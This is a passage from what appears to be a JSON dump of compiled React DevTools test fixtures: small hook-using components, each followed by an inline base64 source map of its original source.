require(\"./Example\");\n\nvar _InlineRequire = require(\"./InlineRequire\");\n\nvar ToDoList = _interopRequireWildcard(require(\"./ToDoList\"));\n\nexports.ToDoList = ToDoList;\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImluZGV4LmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFTQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7OztBQUVBIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5fSBmcm9tICcuL0NvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5JztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhDdXN0b21Ib29rfSBmcm9tICcuL0NvbXBvbmVudFdpdGhDdXN0b21Ib29rJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZX0gZnJvbSAnLi9Db21wb25lbnRXaXRoTXVsdGlwbGVIb29rc1BlckxpbmUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgQ29tcG9uZW50V2l0aE5lc3RlZEhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhOZXN0ZWRIb29rcyc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBDb250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTH0gZnJvbSAnLi9Db250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTCc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBFeGFtcGxlfSBmcm9tICcuL0V4YW1wbGUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgSW5saW5lUmVxdWlyZX0gZnJvbSAnLi9JbmxpbmVSZXF1aXJlJztcbmltcG9ydCAqIGFzIFRvRG9MaXN0IGZyb20gJy4vVG9Eb0xpc3QnO1xuZXhwb3J0IHtUb0RvTGlzdH07XG5leHBvcnQge2RlZmF1bHQgYXMgdXNlVGhlbWV9IGZyb20gJy4vdXNlVGhlbWUnO1xuIl19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/ComponentUsingHooksIndirectly.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const countState = (0, _react.useState)(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = (0, _react.useState)(false);\n  const [isDarkMode] = darkModeState;\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5LmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50U3RhdGUiLCJjb3VudCIsInNldENvdW50IiwiZGFya01vZGUiLCJ1c2VJc0RhcmtNb2RlIiwiaXNEYXJrTW9kZSIsImhhbmRsZUNsaWNrIiwiZGFya01vZGVTdGF0ZSIsInVzZUVmZmVjdENyZWF0ZSJdLCJtYXBwaW5ncyI6Ijs7Ozs7OztBQVNBOzs7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsVUFBVSxHQUFHLHFCQUFTLENBQVQsQ0FBbkI7QUFDQSxRQUFNQyxLQUFLLEdBQUdELFVBQVUsQ0FBQyxDQUFELENBQXhCO0FBQ0EsUUFBTUUsUUFBUSxHQUFHRixVQUFVLENBQUMsQ0FBRCxDQUEzQjtBQUVBLFFBQU1HLFFBQVEsR0FBR0MsYUFBYSxFQUE5QjtBQUNBLFFBQU0sQ0FBQ0MsVUFBRCxJQUFlRixRQUFyQjtBQUVBLHdCQUFVLE1BQU0sQ0FDZDtBQUNELEdBRkQsRUFFRyxFQUZIOztBQUlBLFFBQU1HLFdBQVcsR0FBRyxNQUFNSixRQUFRLENBQUNELEtBQUssR0FBRyxDQUFULENBQWxDOztBQUVBLHNCQUNFLHlFQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLG9CQUFpQkksVUFBakIsQ0FERixlQUVFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGdCQUFhSixLQUFiLENBRkYsZUFHRTtBQUFRLElBQUEsT0FBTyxFQUFFSyxXQUFqQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFIRixDQURGO0FBT0Q7O0FBRUQsU0FBU0YsYUFBVCxHQUF5QjtBQUN2QixRQUFNRyxhQUFhLEdBQUcscUJBQVMsS0FBVCxDQUF0QjtBQUNBLFFBQU0sQ0FBQ0YsVUFBRCxJQUFlRSxhQUFyQjtBQUVBLHdCQUFVLFNBQVNDLGVBQVQsR0FBMkIsQ0FDbkM7QUFDRCxHQUZELEVBRUcsRUFGSDtBQUlBLFNBQU8sQ0FBQ0gsVUFBRCxFQUFhLE1BQU0sQ0FBRSxDQUFyQixDQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlRWZmZWN0LCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gQ29tcG9uZW50KCkge1xuICBjb25zdCBjb3VudFN0YXRlID0gdXNlU3RhdGUoMCk7XG4gIGNvbnN0IGNvdW50ID0gY291bnRTdGF0ZVswXTtcbiAgY29uc3Qgc2V0Q291bnQgPSBjb3VudFN0YXRlWzFdO1xuXG4gIGNvbnN0IGRhcmtNb2RlID0gdXNlSXNEYXJrTW9kZSgpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZTtcblxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIC8vIC4uLlxuICB9LCBbXSk7XG5cbiAgY29uc3QgaGFuZGxlQ2xpY2sgPSAoKSA9PiBzZXRDb3VudChjb3VudCArIDEpO1xuXG4gIHJldHVybiAoXG4gICAgPD5cbiAgICAgIDxkaXY+RGFyayBtb2RlPyB7aXNEYXJrTW9kZX08L2Rpdj5cbiAgICAgIDxkaXY+Q291bnQ6IHtjb3VudH08L2Rpdj5cbiAgICAgIDxidXR0b24gb25DbGljaz17aGFuZGxlQ2xpY2t9PlVwZGF0ZSBjb3VudDwvYnV0dG9uPlxuICAgIDwvPlxuICApO1xufVxuXG5mdW5jdGlvbiB1c2VJc0RhcmtNb2RlKCkge1xuICBjb25zdCBkYXJrTW9kZVN0YXRlID0gdXNlU3RhdGUoZmFsc2UpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZVN0YXRlO1xuXG4gIHVzZUVmZmVjdChmdW5jdGlvbiB1c2VFZmZlY3RDcmVhdGUoKSB7XG4gICAgLy8gSGVyZSBpcyB3aGVyZSB3ZSBtYXkgbGlzdGVuIHRvIGEgXCJ0aGVtZVwiIGV2ZW50Li4uXG4gIH0sIFtdKTtcblxuICByZXR1cm4gW2lzRGFya01vZGUsICgpID0+IHt9XTtcbn1cbiJdLCJ4X3JlYWN0X3NvdXJjZXMiOltbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJjb3VudCIsImRhcmtNb2RlIiwiaXNEYXJrTW9kZSJdLCJtYXBwaW5ncyI6IkNBQUQ7YXFCQ0EsQVdEQTtpQmJFQSxBZUZBO29DVkdBLEFlSEEifV1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/ComponentWithCustomHook.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  const isDarkMode = useIsDarkMode();\n  const {\n    foo\n  } = useFoo();\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = (0, _react.useState)(false);\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  (0, _react.useDebugValue)('foo');\n  return {\n    foo: true\n  };\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhDdXN0b21Ib29rLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiLCJpc0RhcmtNb2RlIiwidXNlSXNEYXJrTW9kZSIsImZvbyIsInVzZUZvbyIsImhhbmRsZUNsaWNrIiwidXNlRWZmZWN0Q3JlYXRlIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7Ozs7Ozs7O0FBRU8sU0FBU0EsU0FBVCxHQUFxQjtBQUMxQixRQUFNLENBQUNDLEtBQUQsRUFBUUMsUUFBUixJQUFvQixxQkFBUyxDQUFULENBQTFCO0FBQ0EsUUFBTUMsVUFBVSxHQUFHQyxhQUFhLEVBQWhDO0FBQ0EsUUFBTTtBQUFDQyxJQUFBQTtBQUFELE1BQVFDLE1BQU0sRUFBcEI7QUFFQSx3QkFBVSxNQUFNLENBQ2Q7QUFDRCxHQUZELEVBRUcsRUFGSDs7QUFJQSxRQUFNQyxXQUFXLEdBQUcsTUFBTUwsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUFsQzs7QUFFQSxzQkFDRSx5RUFDRTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFBaUJFLFVBQWpCLENBREYsZUFFRTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFBYUYsS0FBYixDQUZGLGVBR0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsY0FBV0ksR0FBWCxDQUhGLGVBSUU7QUFBUSxJQUFBLE9BQU8sRUFBRUUsV0FBakI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsb0JBSkYsQ0FERjtBQVFEOztBQUVELFNBQVNILGFBQVQsR0FBeUI7QUFDdkIsUUFBTSxDQUFDRCxVQUFELElBQWUscUJBQVMsS0FBVCxDQUFyQjtBQUVBLHdCQUFVLFNBQVNLLGVBQVQsR0FBMkIsQ0FDbkM7QUFDRCxHQUZELEVBRUcsRUFGSDtBQUlBLFNBQU9MLFVBQVA7QUFDRDs7QUFFRCxTQUFTRyxNQUFULEdBQWtCO0FBQ2hCLDRCQUFjLEtBQWQ7QUFDQSxTQUFPO0FBQUNELElBQUFBLEdBQUcsRUFBRTtBQUFOLEdBQVA7QUFDRCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogQ29weXJpZ2h0IChjKSBGYWNlYm9vaywgSW5jLiBhbmQgaXRzIGFmZmlsaWF0ZXMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKlxuICogQGZsb3dcbiAqL1xuXG5pbXBvcnQgUmVhY3QsIHt1c2VEZWJ1Z1ZhbHVlLCB1c2VFZmZlY3QsIHVzZVN0YXRlfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IFtjb3VudCwgc2V0Q291bnRdID0gdXNlU3RhdGUoMCk7XG4gIGNvbnN0IGlzRGFya01vZGUgPSB1c2VJc0RhcmtNb2RlKCk7XG4gIGNvbnN0IHtmb299ID0gdXNlRm9vKCk7XG5cbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICAvLyAuLi5cbiAgfSwgW10pO1xuXG4gIGNvbnN0IGhhbmRsZUNsaWNrID0gKCkgPT4gc2V0Q291bnQoY291bnQgKyAxKTtcblxuICByZXR1cm4gKFxuICAgIDw+XG4gICAgICA8ZGl2PkRhcmsgbW9kZT8ge2lzRGFya01vZGV9PC9kaXY+XG4gICAgICA8ZGl2PkNvdW50OiB7Y291bnR9PC9kaXY+XG4gICAgICA8ZGl2PkZvbzoge2Zvb308L2Rpdj5cbiAgICAgIDxidXR0b24gb25DbGljaz17aGFuZGxlQ2xpY2t9PlVwZGF0ZSBjb3VudDwvYnV0dG9uPlxuICAgIDwvPlxuICApO1xufVxuXG5mdW5jdGlvbiB1c2VJc0RhcmtNb2RlKCkge1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSB1c2VTdGF0ZShmYWxzZSk7XG5cbiAgdXNlRWZmZWN0KGZ1bmN0aW9uIHVzZUVmZmVjdENyZWF0ZSgpIHtcbiAgICAvLyBIZXJlIGlzIHdoZXJlIHdlIG1heSBsaXN0ZW4gdG8gYSBcInRoZW1lXCIgZXZlbnQuLi5cbiAgfSwgW10pO1xuXG4gIHJldHVybiBpc0RhcmtNb2RlO1xufVxuXG5mdW5jdGlvbiB1c2VGb28oKSB7XG4gIHVzZURlYnVnVmFsdWUoJ2ZvbycpO1xuICByZXR1cm4ge2ZvbzogdHJ1ZX07XG59XG4iXSwieF9yZWFjdF9zb3VyY2VzIjpbW3sibmFtZXMiOlsiPG5vLWhvb2s+IiwiY291bnQiLCJpc0RhcmtNb2RlIl0sIm1hcHBpbmdzIjoiQ0FBRDthNEJDQSxBV0RBO2NsQkVBLEFlRkE7a0NiRUEifV1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/ComponentWithExternalCustomHooks.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireDefault(require(\"react\"));\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nvar _jsxFileName = \"\";\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction Component() {\n  const theme = (0, _useTheme.default)();\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsInRoZW1lIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7O0FBQ0E7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsS0FBSyxHQUFHLHdCQUFkO0FBRUEsc0JBQU87QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsZ0JBQWFBLEtBQWIsQ0FBUDtBQUNEIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmltcG9ydCBSZWFjdCBmcm9tICdyZWFjdCc7XG5pbXBvcnQgdXNlVGhlbWUgZnJvbSAnLi91c2VUaGVtZSc7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlVGhlbWUoKTtcblxuICByZXR1cm4gPGRpdj50aGVtZToge3RoZW1lfTwvZGl2Pjtcbn1cbiJdLCJ4X3JlYWN0X3NvdXJjZXMiOltbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJ0aGVtZSJdLCJtYXBwaW5ncyI6IkNBQUQ7Y2dCQ0EsQVVEQSJ9XV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/ComponentWithMultipleHooksPerLine.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/(0, _react.createContext)(1);\nconst B = /*#__PURE__*/(0, _react.createContext)(2);\n\nfunction Component() {\n  const a = (0, _react.useContext)(A);\n  const b = (0, _react.useContext)(B); // prettier-ignore\n\n  const c = (0, _react.useContext)(A),\n        d = (0, _react.useContext)(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZS5qcyJdLCJuYW1lcyI6WyJBIiwiQiIsIkNvbXBvbmVudCIsImEiLCJiIiwiYyIsImQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7QUFUQTs7Ozs7Ozs7QUFXQSxNQUFNQSxDQUFDLGdCQUFHLDBCQUFjLENBQWQsQ0FBVjtBQUNBLE1BQU1DLENBQUMsZ0JBQUcsMEJBQWMsQ0FBZCxDQUFWOztBQUVPLFNBQVNDLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsQ0FBQyxHQUFHLHVCQUFXSCxDQUFYLENBQVY7QUFDQSxRQUFNSSxDQUFDLEdBQUcsdUJBQVdILENBQVgsQ0FBVixDQUYwQixDQUkxQjs7QUFDQSxRQUFNSSxDQUFDLEdBQUcsdUJBQVdMLENBQVgsQ0FBVjtBQUFBLFFBQXlCTSxDQUFDLEdBQUcsdUJBQVdMLENBQVgsQ0FBN0IsQ0FMMEIsQ0FLa0I7O0FBRTVDLFNBQU9FLENBQUMsR0FBR0MsQ0FBSixHQUFRQyxDQUFSLEdBQVlDLENBQW5CO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IHtjcmVhdGVDb250ZXh0LCB1c2VDb250ZXh0fSBmcm9tICdyZWFjdCc7XG5cbmNvbnN0IEEgPSBjcmVhdGVDb250ZXh0KDEpO1xuY29uc3QgQiA9IGNyZWF0ZUNvbnRleHQoMik7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IGEgPSB1c2VDb250ZXh0KEEpO1xuICBjb25zdCBiID0gdXNlQ29udGV4dChCKTtcblxuICAvLyBwcmV0dGllci1pZ25vcmVcbiAgY29uc3QgYyA9IHVzZUNvbnRleHQoQSksIGQgPSB1c2VDb250ZXh0KEIpOyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIG9uZS12YXJcblxuICByZXR1cm4gYSArIGIgKyBjICsgZDtcbn1cbiJdLCJ4X3JlYWN0X3NvdXJjZXMiOltbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJhIiwiYiIsImMiLCJkIl0sIm1hcHBpbmdzIjoiQ0FBRDtnQllDQSxBYURBO2lCYkVBLEFhRkE7b0JiR0EsQWFIQSxBTUlBLEFhSkEifV1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/react-sources-extended/ComponentWithNestedHooks.js",
    "content": "\"use strict\";\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst {\n  useMemo,\n  useState\n} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nmodule.exports = {\n  Component\n};\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhOZXN0ZWRIb29rcy5qcyJdLCJuYW1lcyI6WyJ1c2VNZW1vIiwidXNlU3RhdGUiLCJyZXF1aXJlIiwiQ29tcG9uZW50IiwicHJvcHMiLCJJbm5lckNvbXBvbmVudCIsInN0YXRlIiwiY2FsbGJhY2siLCJtb2R1bGUiLCJleHBvcnRzIl0sIm1hcHBpbmdzIjoiOztBQUFBOzs7Ozs7OztBQVFBLE1BQU07QUFBQ0EsRUFBQUEsT0FBRDtBQUFVQyxFQUFBQTtBQUFWLElBQXNCQyxPQUFPLENBQUMsT0FBRCxDQUFuQzs7QUFFQSxTQUFTQyxTQUFULENBQW1CQyxLQUFuQixFQUEwQjtBQUN4QixRQUFNQyxjQUFjLEdBQUdMLE9BQU8sQ0FBQyxNQUFNLE1BQU07QUFDekMsVUFBTSxDQUFDTSxLQUFELElBQVVMLFFBQVEsQ0FBQyxDQUFELENBQXhCO0FBRUEsV0FBT0ssS0FBUDtBQUNELEdBSjZCLENBQTlCO0FBS0FGLEVBQUFBLEtBQUssQ0FBQ0csUUFBTixDQUFlRixjQUFmO0FBRUEsU0FBTyxJQUFQO0FBQ0Q7O0FBRURHLE1BQU0sQ0FBQ0MsT0FBUCxHQUFpQjtBQUFDTixFQUFBQTtBQUFELENBQWpCIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5jb25zdCB7dXNlTWVtbywgdXNlU3RhdGV9ID0gcmVxdWlyZSgncmVhY3QnKTtcblxuZnVuY3Rpb24gQ29tcG9uZW50KHByb3BzKSB7XG4gIGNvbnN0IElubmVyQ29tcG9uZW50ID0gdXNlTWVtbygoKSA9PiAoKSA9PiB7XG4gICAgY29uc3QgW3N0YXRlXSA9IHVzZVN0YXRlKDApO1xuXG4gICAgcmV0dXJuIHN0YXRlO1xuICB9KTtcbiAgcHJvcHMuY2FsbGJhY2soSW5uZXJ